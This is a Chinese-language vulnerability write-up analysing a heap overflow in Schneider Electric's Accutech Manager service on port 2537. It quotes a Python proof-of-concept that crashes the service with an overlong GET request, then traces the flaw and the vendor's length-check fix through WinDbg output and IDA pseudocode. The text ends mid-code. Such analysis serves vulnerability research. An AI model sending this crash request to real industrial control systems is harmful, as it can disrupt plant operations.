作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
很遗憾没有找到这个存在漏洞的工控服务版本,应该是全部更新了,可以下载最新的进行分析,当然漏洞已经补了。
PoC:
#Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip
import socket
import sys
host = "192.168.163.128"
port = 2537
buf = "\x41" * 400
req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")
print " [+] Connecting to %s:%d" % (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
data = s.recv(1024)
s.close()
#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
#7c91142e 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=????????
#----snip----
#text:0040DE91 push offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96 call nullsub_1
#.text:0040DE9B lea eax, [ebp+cbTransfer]
#.text:0040DEA1 push eax ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2 push esi ; int
#.text:0040DEA3 call sub_40E006
#.text:0040DEA8 add esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.
目标端口是2537,ip地址请在PoC中修改。
不得不说,这类工控服务的软件真的很难找,从官网,到翻墙google,最后发现所有老版本的软件全部被封掉了,只有最新版2.03,通过对2.03的跟踪分析,找到了漏洞位置,但新版本的服务软件,把漏洞位置做了一个if条件判断,导致漏洞无法触发,但仍然找到了以前的脆弱点,下面对此漏洞进行详细分析。
漏洞分析
Accutech Manager是Schneider Electric工控的一款管理软件,负责整个工控流程的调度,在这个过程中,Accutech Manager会开放2536和2537两个端口,其中,2536端口是负责软件通信,2537端口是负责服务器通信,走HTTP协议,问题出现在2537端口。
首先来看一下poc中对问题部分的描述。
#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0 nv up ei pl zr na pe nc
#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
#7c91142e 8b39 mov edi,dword ptr [ecx] ds:0023:41414141=????????
#----snip----
#text:0040DE91 push offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96 call nullsub_1
#.text:0040DE9B lea eax, [ebp+cbTransfer]
#.text:0040DEA1 push eax ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2 push esi ; int
#.text:0040DEA3 call sub_40E006
可以看到,问题出现在某系统函数的拷贝部分,ecx的值被覆盖为41414141,从而导致当ecx作为指针获取时,无效指针引发问题。
重新看一下PoC部分。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
data = s.recv(1024)
s.close()
这里PoC中会发送漏洞字符串,主要是GET数据包给服务器,那么其中可能涉及到Recv函数,通过IDA跟踪,找到了两处Recv,分别在函数。
0040dc52 ff159c094600 call dword ptr [RFMANA_1+0x6099c (0046099c)]
0040ee01 ff159c094600 call dword ptr [RFMANA_1+0x6099c (0046099c)]
在这两处下断点,发送PoC,程序中断在0040ee01位置的Recv函数call调用处。然后直接步过。
0:018> g
Breakpoint 0 hit
eax=0bd3fb5c ebx=00000000 ecx=0bd3faa8 edx=7c92e4f4 esi=0b65bd58 edi=0bd3fb7c
eip=0040ee01 esp=0bd3fb18 ebp=0bd3fb64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RFMANA_1+0xee01:
0040ee01 ff159c094600 call dword ptr [RFMANA_1+0x6099c (0046099c)] ds:0023:0046099c={WS2_32!WSARecv (71a24cb5)}
0:017> dd esp
0bd3fb18 00000424 0bd3fb5c 00000001 0bd3fb70
0bd3fb28 0bd3fb74 0bd3fb40 00000000 73393507
0bd3fb38 0b65bd58 00974ab0 00000000 00000000
0bd3fb48 00000000 00000000 000003bc 00000005
0bd3fb58 7c92cfcc 00000400 0bd3fb7c 0bd3ff7c
0bd3fb68 0040ed3d 0b65bd58 0bd3fb7c 00000000
0bd3fb78 00974ab0 00000000 00000000 00000000
0bd3fb88 00000000 00000000 00000000 00000000
0:017> p
eax=00000000 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040ee07 esp=0bd3fb34 ebp=0bd3fb64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RFMANA_1+0xee07:
0040ee07 85c0 test eax,eax
步过之后,来观察一下栈中覆盖的情况。
0:017> dc esp l100
0bd3fb34 73393507 0b65bd58 00974ab0 00000000 .59sX.e..J......
0bd3fb44 000001b6 00000000 00000000 000003bc ................
0bd3fb54 00000005 7c92cfcc 00000400 0bd3fb7c .......|....|...
0bd3fb64 0bd3ff7c 0040ed3d 0b65bd58 000001b6 |...=.@.X.e.....
0bd3fb74 00000000 00974ab0 20544547 4141412f .....J..GET /AAA
0bd3fb84 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fb94 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fba4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fbb4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fbc4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fbd4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fbe4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0bd3fbf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到,此时接收到了畸形字符串,并且栈中覆盖上了畸形字符串,接下来继续执行。
0:017> p
eax=00000000 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040ee09 esp=0bd3fb34 ebp=0bd3fb64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RFMANA_1+0xee09:
0040ee09 0f8496000000 je RFMANA_1+0xeea5 (0040eea5) [br=1]
0:017> p
eax=00000000 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eea5 esp=0bd3fb34 ebp=0bd3fb64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RFMANA_1+0xeea5:
0040eea5 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:0bd3fb70=000001b6
0:017> p
eax=000001b6 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eea8 esp=0bd3fb34 ebp=0bd3fb64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RFMANA_1+0xeea8:
0040eea8 6a01 push 1
0:017> p
eax=000001b6 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeaa esp=0bd3fb30 ebp=0bd3fb64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
RFMANA_1+0xeeaa:
0040eeaa 014610 add dword ptr [esi+10h],eax ds:0023:0b65bd68=00000000
0:017> p
eax=000001b6 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eead esp=0bd3fb30 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeead:
0040eead 5b pop ebx
0:017> p
eax=000001b6 ebx=00000001 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeae esp=0bd3fb34 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeeae:
0040eeae ff75ec push dword ptr [ebp-14h] ss:0023:0bd3fb50=000003bc
0:017> p
eax=000001b6 ebx=00000001 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeb1 esp=0bd3fb30 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeeb1:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0040eeb1 ff1500084600 call dword ptr [RFMANA_1+0x60800 (00460800)] ds:0023:00460800={kernel32!CloseHandle (7c809bd7)}
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeb7 esp=0bd3fb34 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeeb7:
0040eeb7 5f pop edi
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eeb8 esp=0bd3fb38 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeeb8:
0040eeb8 8bc3 mov eax,ebx
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eeba esp=0bd3fb38 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeeba:
0040eeba 5e pop esi
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebb esp=0bd3fb3c ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeebb:
0040eebb 5b pop ebx
0:017> p
eax=00000001 ebx=00974ab0 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebc esp=0bd3fb40 ebp=0bd3fb64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeebc:
0040eebc c9 leave
0:017> p
eax=00000001 ebx=00974ab0 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebd esp=0bd3fb68 ebp=0bd3ff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeebd:
0040eebd c3 ret
在执行过程中,0040ee09地址位置执行了一次je判断跳转,之后到达函数返回位置,IDA查看一下这个函数的伪代码逻辑。
int __cdecl sub_40EDBA(int a1, DWORD NumberOfBytesRecvd, DWORD Flags)
{
u_long v3; // esi@1
char *v4; // edi@1
signed int v5; // ebx@1
SOCKET v6; // ST00_4@1
int v7; // eax@3
struct _WSAOVERLAPPED Overlapped; // [sp+Ch] [bp-24h]@1
HANDLE Handles; // [sp+20h] [bp-10h]@4
int v11; // [sp+24h] [bp-Ch]@4
struct _WSABUF Buffers; // [sp+28h] [bp-8h]@1
v3 = Flags;
v4 = (char *)NumberOfBytesRecvd;
v5 = 0;
memset((void *)NumberOfBytesRecvd, 0, Flags);
Buffers.buf = v4;
Buffers.len = v3;
Overlapped.hEvent = (WSAEVENT)WSACreateEvent();
v6 = *(_DWORD *)(a1 + 4);
Flags = 0;
if ( !WSARecv(v6, &Buffers, 1u, &NumberOfBytesRecvd, &Flags, &Overlapped, 0) )
{
LABEL_9:
*(_DWORD *)(a1 + 16) += NumberOfBytesRecvd;
v5 = 1;
goto LABEL_10;
}
if ( WSAGetLastError() == 997 )
{
nullsub_2(aWsarecvIsPendi);
Handles = (HANDLE)Overlapped.hEvent;
v11 = *(_DWORD *)a1;
if ( WaitForMultipleObjects(2u, &Handles, 0, 0xFFFFFFFF) )
{
nullsub_2(aRecvEventNotSi);
goto LABEL_10;
}
if ( !WSAGetOverlappedResult(*(_DWORD *)(a1 + 4), &Overlapped, &NumberOfBytesRecvd, 0, &Flags) )
{
WSAGetLastError();
nullsub_2(aWsagetoverlapp);
goto LABEL_10;
}
goto LABEL_9;
}
WSAGetLastError();
nullsub_2(aWsarecvDidNotC);
v7 = WSAGetLastError();
sub_40F294(hWnd, (unsigned int)aWsarecv, v7);
LABEL_10:
CloseHandle((HANDLE)Overlapped.hEvent);
return v5;
}
可以看到中间有一处关键的if语句,调用了WSARecv函数接收信息,当接收到信息之后,则进入内层函数逻辑。
内层函数逻辑中,会获取读取到的数据长度,之后将v5置1,接下来跳转到LABEL_10位置,这个LABLE_10处于函数末尾,会关闭句柄并返回v5,也就是return 1。
实际上,sub_40EDBA函数是接收函数,会接收来到的数据,在这里,不会对数据长度进行控制,而是全部接收,接下来返回到外层函数执行。
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebd esp=010afb68 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeebd:
0040eebd c3 ret
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed3d esp=010afb6c ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xed3d:
0040ed3d 83c40c add esp,0Ch
到达外层函数之后,经过内层函数最后的pop出栈操作,畸形字符串更接近栈顶了。
0:001> dc esp l100
010afb6c 0b65bd58 00000400 00000000 00974ab0 X.e..........J..
010afb7c 20544547 4141412f 41414141 41414141 GET /AAAAAAAAAAA
010afb8c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afb9c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbac 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbbc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbcc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbdc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbfc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc0c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc1c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc2c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc3c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc4c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc5c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc6c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc7c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afc8c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
但是这不重要,接下来继续单步执行。
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed40 esp=010afb78 ebp=010aff7c iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
RFMANA_1+0xed40:
0040ed40 85c0 test eax,eax
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed42 esp=010afb78 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xed42:
0040ed42 751a jne RFMANA_1+0xed5e (0040ed5e) [br=1]
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed5e esp=010afb78 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xed5e:
0040ed5e 8d8500fcffff lea eax,[ebp-400h]
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed64 esp=010afb78 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xed64:
0040ed64 50 push eax
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed65 esp=010afb74 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xed65:
0040ed65 56 push esi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed66 esp=010afb70 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xed66:
0040ed66 e853010000 call RFMANA_1+0xeebe (0040eebe)
在地址0040ed66位置会执行一处call调用,在这里,push eax,push esi,call是不是很熟悉,是的,这个是和开头,exploit提供的漏洞触发前的call操作的上下文基本一致的,来看一下推入的这两个参数。
0:001> dc esp
010afb70 0b65bd58 010afb7c 00974ab0 20544547 X.e.|....J..GET
010afb80 4141412f 41414141 41414141 41414141 /AAAAAAAAAAAAAAA
010afb90 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afba0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbb0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbc0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbd0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbe0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0:001> dc poi(esp)
0b65bd58 00000324 00000470 00000000 0109e219 $...p...........
0b65bd68 00000400 00000000 ffffffff 505c3a43 ............C:\P
0b65bd78 72676f72 46206d61 73656c69 6863535c rogram Files\Sch
0b65bd88 6469656e 45207265 7463656c 5c636972 neider Electric\
0b65bd98 75636341 68636574 6d65545c 61660070 Accutech\Temp.fa
0b65bda8 6f636976 63692e6e 0000006f 00000000 vicon.ico.......
0b65bdb8 00000000 00000000 00000000 00000000 ................
0b65bdc8 00000000 00000000 00000000 00000000 ................
0:001> dc poi(esp+4)
010afb7c 20544547 4141412f 41414141 41414141 GET /AAAAAAAAAAA
010afb8c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afb9c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbac 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbbc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbcc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
010afbdc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
第一个参数是int类型的一个值324h,第二个参数是GET /AAAA...也就是畸形字符串,其实这个call调用,就是漏洞触发的关键位置了,先来看一下外层函数逻辑。
int __stdcall sub_40ED19(DWORD NumberOfBytesRead)
{
int v1; // ST0C_4@2
int v2; // eax@3
DWORD NumberOfBytesRecvd; // [sp+4h] [bp-400h]@1
sub_40E940();
if ( sub_40EDBA(NumberOfBytesRead, (DWORD)&NumberOfBytesRecvd, 0x400u) )
{
v2 = sub_40EEBE(NumberOfBytesRead, (char *)&NumberOfBytesRecvd);
if ( v2 )
{
sub_40F1FD(NumberOfBytesRead, v2);
sub_40EFA2(NumberOfBytesRead);
sub_43ABE4((LPVOID)NumberOfBytesRead);
((void (*)(void))sub_40E968)();
nullsub_2(aParseError);
}
else
{
sub_40F020(NumberOfBytesRead);
sub_40EFA2(NumberOfBytesRead);
sub_43ABE4((LPVOID)NumberOfBytesRead);
((void (*)(void))sub_40E968)();
}
}
可以看到,函数中执行了一个if语句,其中涉及到了sub_40EDBA,这个函数就是Recv函数了,之前也分析过,v5作为返回会返回1,也就是说接下来会进入v2=sub_40EEBE,这个函数就是刚才分析到的,老版本的漏洞函数,传入的两个参数,第一个是int类型的读取数据包的长度,第二处就是数据包的内容,是一处地址指针。
接下来进入漏洞函数。
0:001> t
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebe esp=010afb6c ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeebe:
0040eebe 55 push ebp
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebf esp=010afb68 ebp=010aff7c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeebf:
0040eebf 8bec mov ebp,esp
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec1 esp=010afb68 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeec1:
0040eec1 51 push ecx
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec2 esp=010afb64 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeec2:
0040eec2 53 push ebx
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec3 esp=010afb60 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeec3:
0040eec3 56 push esi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec4 esp=010afb5c ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeec4:
0040eec4 57 push edi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec5 esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeec5:
0040eec5 bef4ec4400 mov esi,offset RFMANA_1+0x4ecf4 (0044ecf4)
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf4 edi=73393507
eip=0040eeca esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeeca:
0040eeca 8d7dfc lea edi,[ebp-4]
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf4 edi=010afb64
eip=0040eecd esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeecd:
0040eecd 66a5 movs word ptr es:[edi],word ptr [esi] es:0023:010afb64=fb1c ds:0023:0044ecf4=0a20
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf6 edi=010afb66
eip=0040eecf esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeecf:
0040eecf a4 movs byte ptr es:[edi],byte ptr [esi] es:0023:010afb66=0a ds:0023:0044ecf6=00
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf7 edi=010afb67
eip=0040eed0 esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeed0:
0040eed0 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:010afb74=010afb7c
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=010afb7c edi=010afb67
eip=0040eed3 esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeed3:
0040eed3 56 push esi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=010afb7c edi=010afb67
eip=0040eed4 esp=010afb54 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeed4:
0040eed4 e8b7b60200 call RFMANA_1+0x3a590 (0043a590)
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040eed9 esp=010afb54 ebp=010afb68 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
RFMANA_1+0xeed9:
0040eed9 3d00040000 cmp eax,400h
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040eede esp=010afb54 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeede:
0040eede 59 pop ecx
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040eedf esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xeedf:
0040eedf 0f83b5000000 jae RFMANA_1+0xef9a (0040ef9a) [br=1]
当执行到40eed9位置,会对eax和400h做一次比较,如果大于,则会跳转到另一个位置。
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040ef9a esp=010afb58 ebp=010afb68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
RFMANA_1+0xef9a:
0040ef9a 6a07 push 7
这个地方,就应该是Accutech Manager最新版为何不会造成漏洞的原因了,在这里,会对数据长度进行一次判断,如果大于400h,则会跳转到结尾部分返回,在老版本中,应该是不存在这处判断,而执行后面的逻辑,通过IDA,可以很清晰的看到后面逻辑中为何会造成溢出。
int __cdecl sub_40EEBE(int a1, char *a2)
{
char *v2; // eax@4
char *v3; // eax@5
const char *v4; // ebx@5
size_t v5; // ebx@7
__int16 v8; // [sp+Ch] [bp-4h]@1
char v9; // [sp+Eh] [bp-2h]@1
char *v10; // [sp+1Ch] [bp+Ch]@5
v8 = *(_WORD *)asc_44ECF4;
v9 = asc_44ECF4[2];
if ( strlen(a2) >= 0x400 || strlen(a2) < 3 || strstr(a2, a__) )
return 7;
v2 = strtok(a2, (const char *)&v8);
if ( !_strcmpi(v2, aGet) )
{
*(_DWORD *)(a1 + 8) = 0;
v3 = strtok(0, (const char *)&v8);
v4 = v3;
v10 = v3;
if ( v3 )
{
if ( strlen(v3) <= 1 || (v5 = strlen(v4), strlen(byte_45AB8C) + v5 < 0x104) )
{
strcpy((char *)(a1 + 28), byte_45AB8C);
if ( strlen(v10) > 1 )
{
strcat((char *)(a1 + 28), v10);
return 0;
}
}
}
return 7;
}
return 12;
}
可以看到厂商修复漏洞增加的这处if判断。
if ( strlen(a2) >= 0x400 || strlen(a2) < 3 || strstr(a2, a__) )
return 7;
这里对a2,也就是数据包长度进行了一次判断,如果大于等于,则会直接返回,那么如果没有这处判断,也就是产生漏洞的根本原因在于后面的函数逻辑。
if ( v3 )
{
if ( strlen(v3) <= 1 || (v5 = strlen(v4), strlen(byte_45AB8C) + v5 < 0x104) )
{
strcpy((char *)(a1 + 28), byte_45AB8C);
if ( strlen(v10) > 1 )
{
